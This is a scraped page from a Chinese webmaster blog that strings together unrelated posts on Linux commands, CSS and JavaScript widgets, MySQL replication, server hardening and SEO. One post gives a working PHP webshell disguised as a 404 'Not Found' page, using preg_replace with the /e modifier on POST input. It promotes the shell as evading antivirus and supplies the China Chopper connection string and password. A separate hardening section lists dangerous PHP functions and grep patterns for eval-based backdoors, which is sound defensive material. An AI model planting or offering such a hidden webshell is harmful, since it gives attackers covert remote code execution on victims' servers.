在linux中怎样用命令完全拷贝一个目录下的所有文件(包括隐藏文件以及文件夹)到另外一个目录下,并且使得被复制的所有文件的属性等完全保持不变?
       注意,连原来的文件夹中所有的文件的属性、链接等都不能更改。
也就是说,要建立原来文件夹的一份一模一样的拷贝!
         给你一个链接地址吧,你找的应该是在这个页面里的这句话:
# cp -avx /home/* /mnt/newhome



功能: 复制文件或目录
说明: cp指令用于复制文件或目录,如同时指定两个以上的文件或目录,且最后的目的地是一个已经存在的目录,则它会把前面指定的所有文件或目录复制到此目录中。若同时指定多个文件或目录,而最后的目的地并非一个已存在的目录,则会出现错误信息
参数:
1. 创建目录
     mkdir

     NO1. 在当前路径创建一级目录

          [root@rehat root]# mkdir test

     NO2. 在当前路径创建多级目录

          [root@rehat root]# mkdir -p mytest/test1/test1_1

     NO3. 在创建目录的同时给新建的目录赋权限

          [root@rehat root]# mkdir -m 777 testmod

          这样任何人对此目录都有任何权限

优酷搜索框美化代码 不指定

jed , 2012-12-14 06:17 , 代码编程 , 评论(0) , 阅读(7251) , Via 本站原创

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="content-type" content="text/html; charset=GB2312">



<title>CSS样式搜索框美化系列(4)</title>
<meta name="Generator" content="EditPlus">
<meta name="Author" content="">
<meta name="Keywords" content="">
<meta name="Description" content="">
<style>
/*basic*/
*{padding:0;margin:0;color:#000;font:12px/20px Arial,Sans-serif,"宋体";}
/*elements*/
.clear{clear:both;height:0px;overflow:hidden;}
ul,li,ol{list-style-type:none;list-style-position:outside;}
button,.btnNormal{height:22px;line-height:18px;padding:0 9px!important;padding:0 5px;}
a{color:#0042ff;text-decoration:underline;}
a,a *{cursor:pointer;}
a img{border:0;}
.searchTool{float:left;width:520px;}
.searchTool .searchExtend{float:left;line-height:24px;_padding-top:5px;}
.searchTool .radio{vertical-align:middle;margin-left:10px;margin-right:2px;*margin-right:0;}
.searchTool .txtSearch{float:left;width:232px;padding:2px 2px 0 2px;height:20px;line-height:20px;vertical-align:bottom;border:1px solid #3e99d4;}
.searchTool .selSearch{float:left;width:60px;background:#fff;height:22px;line-height:22px;border:1px solid #3e99d4;border-left:0;}
.searchTool .nowSearch{float:left;width:40px;height:20px;line-height:22px;overflow:hidden;padding-left:4px;}
.searchTool .btnSel{float:right;border-left:1px solid #3e99d4;width:14px;height:22px;}
.searchTool .btnSel a{background:url(http://static.youku.com/v1.0.0217/index/img/btn_sel.gif) no-repeat center center;display:block;width:14px;height:22px;}
.searchTool .btnSel a:hover{background:url(http://static.youku.com/v1.0.0217/index/img/btn_sel_over.gif) no-repeat center center;border:1px solid #fff;width:12px;height:20px;}
.searchTool .selOption{z-index:9999;position:absolute;margin-left:-1px;width:60px;background:#fff;border:1px solid #3e99d4;}
.searchTool .selOption a{display:block;height:21px;padding-left:5px;line-height:21px;color:#000;text-decoration:none;}
.searchTool .selOption a:hover{color:#fff;background:#95d5f1;}
.searchTool .btnSearch{float:left;margin-left:10px;width:58px;height:22px;line-height:22px;border:1px solid #3e99d4;overflow:hidden;}
.searchTool .btnSearch a{background:url(http://static.youku.com/v1.0.0217/index/img/bg_nav_option.gif) repeat-x center -6px;display:block;text-decoration:none;height:22px;line-height:22px;overflow:hidden;}
.searchTool .btnSearch a:hover{background:url(http://static.youku.com/v1.0.0217/index/img/bg_nav_option_over.gif) repeat-x center center;border:1px solid #fff;height:20px;line-height:20px;}
.searchTool .btnSearch .lbl{cursor:pointer;display:block;width:40px;padding-left:5px;letter-spacing:5px;text-align:center;height:18px;padding-top:1px;margin:0 auto;filter:progid:DXImageTransform.Microsoft.DropShadow(color=#daeefa,offX=1,offY=1,positives=true);}
.searchTool .btnSearch a:hover .lbl{padding-top:0px;}
</style>
<script>
function drop_mouseover(pos){
try{window.clearTimeout(timer);}catch(e){}
}
function drop_mouseout(pos){
var posSel=document.getElementById(pos+"Sel").style.display;
if(posSel=="block"){
  timer = setTimeout("drop_hide('"+pos+"')", 1000);
}
}
function drop_hide(pos){
document.getElementById(pos+"Sel").style.display="none";
}
function search_show(pos,searchType,href){
    document.getElementById(pos+"SearchType").value=searchType;
    document.getElementById(pos+"Sel").style.display="none";
    document.getElementById(pos+"Slected").innerHTML=href.innerHTML;
    document.getElementById(pos+'q').focus();
    var sE = document.getElementById("searchExtend");
    if(sE != undefined && searchType == "bar"){
     sE.style.display="block";
    }else if(sE != undefined){
     sE.style.display="none";
    }
try{window.clearTimeout(timer);}catch(e){}
return false;
}
</script>
</head><body>
<h3><a href="http://www.dzhope.com/" style="color: rgb(0, 0, 0);">www.dzhope.com</a></h3>
<div class="searchTool">
<form method="get" action="http://so.youku.com/search_playlist" name="headSearchForm" id="headSearchForm" onsubmit="return dosearch(this);">
     <input class="txtSearch" id="headq" name="q" value="DIV+CSS模板" type="text">
     <input name="searchdomain" value="http://so.youku.com" type="hidden">
     <input id="headSearchType" name="searchType" value="playlist" type="hidden">
     <div class="selSearch">
    <div class="nowSearch" id="headSlected" onclick="if(document.getElementById('headSel').style.display=='none'){document.getElementById('headSel').style.display='block';}else {document.getElementById('headSel').style.display='none';};return false;" onmouseout="drop_mouseout('head');">DIV模板</div>
    <div class="btnSel"><a href="#" onclick="if(document.getElementById('headSel').style.display=='none'){document.getElementById('headSel').style.display='block';}else {document.getElementById('headSel').style.display='none';};return false;" onmouseout="drop_mouseout('head');"></a></div>
    <div class="clear"></div>
    <ul class="selOption" id="headSel" style="display: none;">
     <li><a href="#" onclick="return search_show('head','video',this)" onmouseover="drop_mouseover('head');" onmouseout="drop_mouseout('head');">后台模板</a></li>
     <li><a href="#" onclick="return search_show('head','playlist',this)" onmouseover="drop_mouseover('head');" onmouseout="drop_mouseout('head');">图片图标</a></li>
     <li><a href="#" onclick="return search_show('head','user',this)" onmouseover="drop_mouseover('head');" onmouseout="drop_mouseout('head');">CSS代码</a></li>
     <li><a href="#" onclick="return search_show('head','bar',this)" onmouseover="drop_mouseover('head');" onmouseout="drop_mouseout('head');">CSS菜单</a></li>
     <li><a href="#" onclick="return search_show('head','pk',this)" onmouseover="drop_mouseover('head');" onmouseout="drop_mouseout('head');">CSS图表</a></li>
    </ul>
     </div>
     <div class="btnSearch">
    <a href="http://www.dzhope.com/" onclick="javascript:return dosearch(document.getElementById('headSearchForm'));"><span class="lbl">搜索</span></a>
     </div>
          <div class="searchExtend" id="searchExtend" name="searchExtend" style="display: none;">
           <input class="radio" name="sbt" value="post" onclick="csbt(this,this.form.sbts);" type="radio">搜贴子<input name="sbt" value="user" onclick="csbt(this,this.form.sbts);" class="radio" type="radio">按作者搜<input name="sbts" value="bar" type="hidden">
     </div>
          <div class="clear"></div>
     </form>
   </div>
   <div class="clear"></div>
  

</body></html>
主从配置,跟之前的差不多一样。

http://www.dzhope.com/post/909/

特地备注一下从服务器只同步部分表的配置。


server-id = 3
#log-bin=/user/local/mysql/binlog/binlog
log-bin=mysql-bin
#expire_logs_days=5
#binlog-do-db = foodnewbbs
replicate-rewrite-db            = 主服务器库名A->从服务器库名B
replicate_do_table              = B.table1
replicate_do_table              = B.table2
#replicate-wild-do-table = foodnewbbs.pre_common_tagitem
binlog-ignore-db=mysql
binlog-ignore-db=foodbbs
binlog-ignore-db=foodqq
binlog-ignore-db=fooduchome
binlog-ignore-db=information_schema
binlog-ignore-db=performance_schema
binlog-ignore-db=test
binlog-ignore-db=ucenter3
binlog-ignore-db=ucenter2
binlog-ignore-db=wish
测试机器的硬件信息:

查看CPU信息(型号)
# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
      8  Intel(R) Xeon(R) CPU            E5410   @ 2.33GHz
(看到有8个逻辑CPU, 也知道了CPU型号)

# cat /proc/cpuinfo | grep physical | uniq -c
      4 physical id      : 0
      4 physical id      : 1
(说明实际上是两颗4核的CPU)

# getconf LONG_BIT
   32
(说明当前CPU运行在32bit模式下, 但不代表CPU不支持64bit)

# cat /proc/cpuinfo | grep flags | grep ' lm ' | wc -l
   8
(结果大于0, 说明支持64bit计算. lm指long mode, 支持lm则是64bit)


再完整看cpu详细信息, 不过大部分我们都不关心而已.
# dmidecode | grep 'Processor Information'

查看内 存信息
# cat /proc/meminfo

# uname -a
Linux euis1 2.6.9-55.ELsmp #1 SMP Fri Apr 20 17:03:35 EDT 2007 i686 i686 i386 GNU/Linux
(查看当前操作系统内核信息)

# cat /etc/issue | grep Linux
Red Hat Enterprise Linux AS release 4 (Nahant Update 5)
(查看当前操作系统发行版信息)

查看机器型号
# dmidecode | grep "Product Name"  

查看网卡信息
# dmesg | grep -i eth
Tags: ,

PHP 404页面的一句话 [转] 不指定

jed , 2012-11-19 08:25 , 服务器技术 , 评论(0) , 阅读(5867) , Via 本站原创
把一句话搞隐蔽点,搞个404页面。 然后采用核心代码
@preg_replace(“/[checksql]/e”,$_POST['date'],”saft”);
这样可以有效的防止暴力破解还达到免杀的效果。

404一句话代码:


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server.</p>   </body></html>
<?php
   @preg_replace("/[checksql]/e",$_POST['date'],"saft");   header('HTTP/1.1 404 Not Found');
?>




//菜刀连接方法,在菜刀里面配置栏加上

<O>date=@eval($_POST[paxmac]);</O>



密码为paxmac
Web Server(Nginx为例)
1、为防止跨站感染,要做虚拟主机目录隔离(我是直接利用fpm建立多个程序池达到隔离效果)
2、上传目录、include类的库文件目录要禁止代码执行(Nginx正则过滤)
3、path_info漏洞修正:

if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 404;
}

4、重新编译Web Server,隐藏Server信息。
5、打开相关级别的日志,追踪可疑请求,请求者IP等相关信息。

改变目录和文件属性,禁止写入

find -type f -name \*.php -exec chmod 444 {} \;
find -type d -exec chmod 555 {} \;

注:当然要排除上传目录、缓存目录等;
同时最好禁止chmod函数,攻击者可通过chmod来修改文件只读属性再修改文件!

PHP配置
禁用危险函数:

dl,eval,exec,passthru,system,popen,shell_exec,proc_open,proc_terminate,curl_exec,curl_multi_exec,show_source,touch,escapeshellcmd,escapeshellarg

MySQL账号安全:
禁止mysql用户外部链接,程序不要使用root账号,最好单独建立一个有限权限的账号专门用于Web程序。

查杀木马、后门
常见的一句话后门:

grep -r –include=*.php  ‘[^a-z]eval($_POST’ . > grep.txt
grep -r –include=*.php  ‘file_put_contents(.*$_POST\[.*\]);’ . > grep.txt

把搜索结果写入文件,下载下来慢慢分析,其他特征木马、后门类似。有必要的话可对全站所有文件来一次特征查找,上传图片肯定有也捆绑的,来次大清洗。

查找近2天被修改过的文件:

find -mtime -2 -type f -name \*.php

注意:攻击者可能会通过touch函数来修改文件时间属性来避过这种查找,所以touch必须禁止

最后要及时补上Web程序漏洞

总结
木马、后门查杀是个漫长的过程,网站一旦被入侵任何旮旯拐角都可能留下后门。中途可能和攻击者进行神交,摸清攻击者的性格、习性等,这些都有利于查杀。要现需谨慎地和攻击者交流,期间就有几个攻击者加我QQ和我交流。
也是个很有意思的过程

这些都是非常基本的命令,希望这篇小短文对Linux新手有帮助:

查看某目录占用空间命令:

# du -sh DirPath

比如: du -sh /home/snail

查看某目录下有多少个文件命令:

# find DirPath -type f | wc -l

比如: find /home/snail -type f | wc -l

如果想查看 src 目录下有多少 C 文件,如下:

# find ./src -type f -name "*.c" | wc -l

find 命令的 -type 后的参数有以下选择,每种都代表不一样的“类型(type)”
-type 文件类型
        b      块文件(比如内存)
        c      字符文件(比如串口)
        d      目录文件(目录也是一种文件)
        p      有名管道(FIFO)
        f      普通文件
        l      符号链接(如果使用 -L 或 -follow 选项则不起作用,除非链接损坏)
        s      socket文件(比如 /tmp/mysql.sock)
        D      door (Solaris)

------------------------------------------------------------------------------------------
网站建好后,如何快速的增加网站外链是个让人头疼的问题,特别是一些新手,增加网站外链是SEO过程中必不可少的一部分,每个seoer初入行时便听说过“内容为王,外链为皇”这句话,从这句话我们不难看出,一个网站的优化工作的两个主方向就在于网站内容的建设以及外部链接建设,在完成网站整体布局之后,外链的建设就必须要考虑了,而且外链的建设是一个持续的过程,健康的外链对提升网站关键词排名非常有利。
  说到外链,那对外链相关的几个名词做一下解释。

黑色简易的选项卡 不指定

jed , 2012-9-7 06:50 , 代码编程 , 评论(0) , 阅读(5494) , Via 本站原创

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>黑色简易的选项卡</title>
<style>
body,ul,li{margin:0;padding:0;}
body{font:12px/1.5 Tahoma;}
#outer{width:450px;margin:10px auto;}
#tab{overflow:hidden;zoom:1;background:#000;border:1px solid #000;}
#tab li{float:left;color:#fff;height:30px;cursor:pointer;line-height:30px;list-style-type:none;padding:0 20px;}
#tab li.current{color:#000;background:#ccc;}
#content{border:1px solid #000;border-top-width:0;}
#content ul{line-height:25px;display:none;margin:0 30px;padding:10px 0;}
</style>
<script>
window.onload = function ()
{
  var oLi = document.getElementById("tab").getElementsByTagName("li");
  var oUl = document.getElementById("content").getElementsByTagName("ul");
  
  for(var i = 0; i < oLi.length; i++)
  {
    oLi[i].index = i;
    oLi[i].onmouseover = function ()
    {
      for(var n = 0; n < oLi.length; n++) oLi[n].className="";
      this.className = "current";
      for(var n = 0; n < oUl.length; n++) oUl[n].style.display = "none";
      oUl[this.index].style.display = "block"
    }  
  }
}
</script>
</head>
<body>
<div id="outer">
    <ul id="tab">
        <li class="current">第一课</li>
        <li>第二课</li>
        <li>第三课</li>
    </ul>
    <div id="content">
        <ul style="display:block;">
            <li>网页特效原理分析</li>
            <li>响应用户操作</li>
            <li>提示框效果</li>
            <li>事件驱动</li>
            <li>元素属性操作</li>
            <li>动手编写第一个JS特效</li>
            <li>引入函数</li>
            <li>网页换肤效果</li>
            <li>展开/收缩播放列表效果</li>
        </ul>
        <ul>
            <li>改变网页背景颜色</li>
            <li>函数传参</li>
            <li>高重用性函数的编写</li>
            <li>126邮箱全选效果</li>
            <li>循环及遍历操作</li>
            <li>调试器的简单使用</li>
            <li>典型循环的构成</li>
            <li>for循环配合if判断</li>
            <li>className的使用</li>
            <li>innerHTML的使用</li>
            <li>戛纳印象效果</li>
            <li>数组</li>
            <li>字符串连接</li>
        </ul>
        <ul>
            <li>JavaScript组成:ECMAScript、DOM、BOM,JavaScript兼容性来源</li>
            <li>JavaScript出现的位置、优缺点</li>
            <li>变量、类型、typeof、数据类型转换、变量作用域</li>
            <li>闭包:什么是闭包、简单应用、闭包缺点</li>
            <li>运算符:算术、赋值、关系、逻辑、其他运算符</li>
            <li>程序流程控制:判断、循环、跳出</li>
            <li>命名规范:命名规范及必要性、匈牙利命名法</li>
            <li>函数详解:函数构成、调用、事件、传参数、可变参、返回值</li>
            <li>定时器的使用:setInterval、setTimeout</li>
            <li>定时器应用:站长站导航效果</li>
            <li>定时器应用:自动播放的选项卡</li>
            <li>定时器应用:数码时钟</li>
            <li>程序调试方法</li>
        </ul>
    </div>
</div>
</body>
</html>

分页: 10/70 第一页 上页 5 6 7 8 9 10 11 12 13 14 下页 最后页 [ 显示模式: 摘要 | 列表 ]